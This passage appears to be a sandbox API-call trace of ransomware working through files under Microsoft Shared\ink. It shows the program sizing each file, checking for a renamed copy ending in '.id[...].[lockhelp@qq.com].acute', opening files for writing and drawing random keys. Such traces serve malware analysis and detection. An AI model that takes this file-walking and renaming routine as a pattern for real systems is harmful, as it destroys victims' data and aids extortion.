(lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\IPSEventLogMsg.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\ipseventlogmsg.dll.mui")) returned 0x20 [0272.704] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\IPSEventLogMsg.dll.mui.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\ipseventlogmsg.dll.mui.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0272.704] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\IPSEventLogMsg.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\ipseventlogmsg.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0272.704] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x401fd48 | out: pbBuffer=0x401fd48) returned 1 [0272.704] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\IpsMigrationPlugin.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\ipsmigrationplugin.dll.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x32c [0272.704] GetFileSizeEx (in: hFile=0x32c, lpFileSize=0x401fce0 | out: lpFileSize=0x401fce0*=2560) returned 1 [0272.704] CloseHandle (hObject=0x32c) returned 1 [0272.704] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\IpsMigrationPlugin.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\ipsmigrationplugin.dll.mui")) returned 0x20 [0272.704] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\IpsMigrationPlugin.dll.mui.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\ipsmigrationplugin.dll.mui.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0272.704] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\IpsMigrationPlugin.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\ipsmigrationplugin.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0272.705] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x401fd48 | out: pbBuffer=0x401fd48) returned 1 [0272.705] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\micaut.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\micaut.dll.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x32c [0272.705] GetFileSizeEx (in: hFile=0x32c, lpFileSize=0x401fce0 | out: lpFileSize=0x401fce0*=8704) returned 1 [0272.705] CloseHandle (hObject=0x32c) returned 1 [0272.705] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\micaut.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\micaut.dll.mui")) returned 0x20 [0272.706] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\micaut.dll.mui.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\micaut.dll.mui.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0272.706] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\micaut.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\micaut.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0272.706] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x401fd48 | out: pbBuffer=0x401fd48) returned 1 [0272.706] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\mip.exe.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\mip.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x32c [0272.706] GetFileSizeEx (in: hFile=0x32c, lpFileSize=0x401fce0 | out: lpFileSize=0x401fce0*=10240) returned 1 [0272.706] CloseHandle (hObject=0x32c) returned 1 [0272.706] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\mip.exe.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\mip.exe.mui")) returned 0x20 [0272.706] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\mip.exe.mui.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\mip.exe.mui.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0272.706] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\mip.exe.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\mip.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0272.706] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x401fd48 | out: pbBuffer=0x401fd48) returned 1 [0272.706] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\mshwLatin.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\mshwlatin.dll.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x32c [0272.707] GetFileSizeEx (in: hFile=0x32c, lpFileSize=0x401fce0 | out: lpFileSize=0x401fce0*=2560) returned 1 [0272.707] CloseHandle (hObject=0x32c) returned 1 [0272.707] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\mshwLatin.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\mshwlatin.dll.mui")) returned 0x20 [0272.707] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\mshwLatin.dll.mui.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\mshwlatin.dll.mui.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0272.707] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\mshwLatin.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\mshwlatin.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0272.707] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x401fd48 | out: pbBuffer=0x401fd48) returned 1 [0272.707] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\rtscom.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\rtscom.dll.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x32c [0272.707] GetFileSizeEx (in: hFile=0x32c, lpFileSize=0x401fce0 | out: lpFileSize=0x401fce0*=2560) returned 1 [0272.707] CloseHandle (hObject=0x32c) returned 1 [0272.707] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\rtscom.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\rtscom.dll.mui")) returned 0x20 [0272.708] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\rtscom.dll.mui.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\rtscom.dll.mui.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0272.708] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\rtscom.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\rtscom.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0272.708] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x401fd48 | out: pbBuffer=0x401fd48) returned 1 [0272.708] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\ShapeCollector.exe.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\shapecollector.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x32c [0272.708] GetFileSizeEx (in: hFile=0x32c, lpFileSize=0x401fce0 | out: lpFileSize=0x401fce0*=43520) returned 1 [0272.708] CloseHandle (hObject=0x32c) returned 1 [0272.708] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\ShapeCollector.exe.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\shapecollector.exe.mui")) returned 0x20 [0272.708] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\ShapeCollector.exe.mui.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\shapecollector.exe.mui.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0272.708] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\ShapeCollector.exe.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\shapecollector.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0272.708] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x401fd48 | out: pbBuffer=0x401fd48) returned 1 [0272.708] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\tabskb.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\tabskb.dll.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x334 [0272.709] GetFileSizeEx (in: hFile=0x334, lpFileSize=0x401fce0 | out: lpFileSize=0x401fce0*=3072) returned 1 [0272.709] CloseHandle (hObject=0x334) returned 1 [0272.709] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\tabskb.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\tabskb.dll.mui")) returned 0x20 [0272.709] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\tabskb.dll.mui.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\tabskb.dll.mui.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0272.709] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\tabskb.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\tabskb.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0272.709] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x401fd48 | out: pbBuffer=0x401fd48) returned 1 [0272.709] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\TipBand.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\tipband.dll.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x334 [0272.710] GetFileSizeEx (in: hFile=0x334, lpFileSize=0x401fce0 | out: lpFileSize=0x401fce0*=3072) returned 1 [0272.710] CloseHandle (hObject=0x334) returned 1 [0272.710] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\TipBand.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\tipband.dll.mui")) returned 0x20 [0272.711] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\TipBand.dll.mui.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\tipband.dll.mui.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0272.711] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\TipBand.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\tipband.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0272.711] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x401fd48 | out: pbBuffer=0x401fd48) returned 1 [0272.711] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\TipRes.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\tipres.dll.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x334 [0272.711] GetFileSizeEx (in: hFile=0x334, lpFileSize=0x401fce0 | out: lpFileSize=0x401fce0*=32768) returned 1 [0272.711] CloseHandle (hObject=0x334) returned 1 [0272.711] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\TipRes.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\tipres.dll.mui")) returned 0x20 [0272.711] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\TipRes.dll.mui.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\tipres.dll.mui.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0272.711] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\TipRes.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\tipres.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0272.711] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x401fd48 | out: pbBuffer=0x401fd48) returned 1 [0272.711] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\tipresx.dll.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x334 [0272.712] GetFileSizeEx (in: hFile=0x334, lpFileSize=0x401fce0 | out: lpFileSize=0x401fce0*=3584) returned 1 [0272.712] CloseHandle (hObject=0x334) returned 1 [0272.712] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\tipresx.dll.mui")) returned 0x20 [0272.712] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\tipresx.dll.mui.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\tipresx.dll.mui.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0272.712] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\tipresx.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0272.712] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x401fd48 | out: pbBuffer=0x401fd48) returned 1 [0272.712] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\TipTsf.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\tiptsf.dll.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x334 [0272.712] GetFileSizeEx (in: hFile=0x334, lpFileSize=0x401fce0 | out: lpFileSize=0x401fce0*=3072) returned 1 [0272.712] CloseHandle (hObject=0x334) returned 1 [0272.712] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\TipTsf.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\tiptsf.dll.mui")) returned 0x20 [0272.712] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\TipTsf.dll.mui.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\tiptsf.dll.mui.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0272.712] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\TipTsf.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\tiptsf.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0272.712] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x401fd48 | out: pbBuffer=0x401fd48) returned 1 [0272.712] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\es-ES\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\es-es\\tipresx.dll.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x334 [0272.713] GetFileSizeEx (in: hFile=0x334, lpFileSize=0x401fce0 | out: lpFileSize=0x401fce0*=4096) returned 1 [0272.713] CloseHandle (hObject=0x334) returned 1 [0272.713] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\es-ES\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\es-es\\tipresx.dll.mui")) returned 0x20 [0272.713] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\es-ES\\tipresx.dll.mui.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\es-es\\tipresx.dll.mui.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0272.713] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\es-ES\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\es-es\\tipresx.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0272.713] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x401fd48 | out: pbBuffer=0x401fd48) returned 1 [0272.713] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\et-EE\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\et-ee\\tipresx.dll.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x334 [0272.713] GetFileSizeEx (in: hFile=0x334, lpFileSize=0x401fce0 | out: lpFileSize=0x401fce0*=4096) returned 1 [0272.713] CloseHandle (hObject=0x334) returned 1 [0272.713] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\et-EE\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\et-ee\\tipresx.dll.mui")) returned 0x20 [0272.713] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\et-EE\\tipresx.dll.mui.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\et-ee\\tipresx.dll.mui.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0272.713] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\et-EE\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\et-ee\\tipresx.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0272.713] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x401fd48 | out: pbBuffer=0x401fd48) returned 1 [0272.713] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fi-FI\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fi-fi\\tipresx.dll.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x334 [0272.714] GetFileSizeEx (in: hFile=0x334, lpFileSize=0x401fce0 | out: lpFileSize=0x401fce0*=3584) returned 1 [0272.714] CloseHandle (hObject=0x334) returned 1 [0272.715] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fi-FI\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fi-fi\\tipresx.dll.mui")) returned 0x20 [0272.715] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fi-FI\\tipresx.dll.mui.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fi-fi\\tipresx.dll.mui.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0272.715] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fi-FI\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fi-fi\\tipresx.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0272.715] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x401fd48 | out: pbBuffer=0x401fd48) returned 1 [0272.715] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\FlickLearningWizard.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\flicklearningwizard.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x334 [0272.715] GetFileSizeEx (in: hFile=0x334, lpFileSize=0x401fce0 | out: lpFileSize=0x401fce0*=927744) returned 1 [0272.715] CloseHandle (hObject=0x334) returned 1 [0272.716] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\FlickLearningWizard.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\flicklearningwizard.exe")) returned 0x20 [0272.716] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\FlickLearningWizard.exe.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\flicklearningwizard.exe.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0272.716] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\FlickLearningWizard.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\flicklearningwizard.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0272.716] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x401fd48 | out: pbBuffer=0x401fd48) returned 1 [0272.716] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fr-FR\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fr-fr\\tipresx.dll.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x334 [0272.716] GetFileSizeEx (in: hFile=0x334, lpFileSize=0x401fce0 | out: lpFileSize=0x401fce0*=4096) returned 1 [0272.716] CloseHandle (hObject=0x334) returned 1 [0272.716] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fr-FR\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fr-fr\\tipresx.dll.mui")) returned 0x20 [0272.716] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fr-FR\\tipresx.dll.mui.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fr-fr\\tipresx.dll.mui.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0272.716] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fr-FR\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fr-fr\\tipresx.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, 